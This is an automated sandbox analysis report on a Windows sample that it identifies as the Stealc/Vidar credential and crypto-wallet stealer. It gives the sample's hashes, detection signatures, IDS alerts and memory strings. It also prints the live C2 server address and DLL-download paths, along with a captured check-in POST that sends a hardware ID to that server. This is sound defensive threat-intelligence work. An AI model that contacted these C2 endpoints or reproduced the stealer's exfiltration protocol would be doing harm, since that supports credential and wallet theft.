Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521414
MD5:	c56ae595533e90f249a0d41c74bae30c
SHA1:	6d4980c58078ea0fcff93f3e82f3defa38f81ace
SHA256:	f1436b56ea1cebcfbba382d30ec06e4238e2d70707a218d4406735473216d9e3
Tags:	exeStealcuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4308 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C56AE595533E90F249A0D41C74BAE30C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1705496140.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4308	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4308	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4308	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.4a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:03.930110+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:03.922183+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:04.150981+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:05.278343+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:04.157699+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:03.689690+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T10:19:05.759249+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:10.923765+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:12.392556+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:13.380329+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:14.246645+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:17.416375+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:17.973687+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 41 31 37 44 41 37 34 35 44 43 31 34 37 35 39 30 32 34 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="hwid"FAA17DA745DC1475902436------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build"save------BGHIDGCAFCBAAAAAFHDA--

Source: file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dlla
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllA
Source: file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll7
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllw
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll7
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllm
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/_
Source: file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpH
Source: file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpd
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpsimple-storage.jsonV
Source: file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy
Source: file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37n
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1951905903.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1951535918.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BKJEGDGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BKJEGDGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BKJEGDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BKJEGDGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BKJEGDGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BKJEGDGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BKJEGDGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1777665817.000000001D49C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000003.1777665817.000000001D49C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BKJEGDGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BKJEGDGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1886169578.0000000029632000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
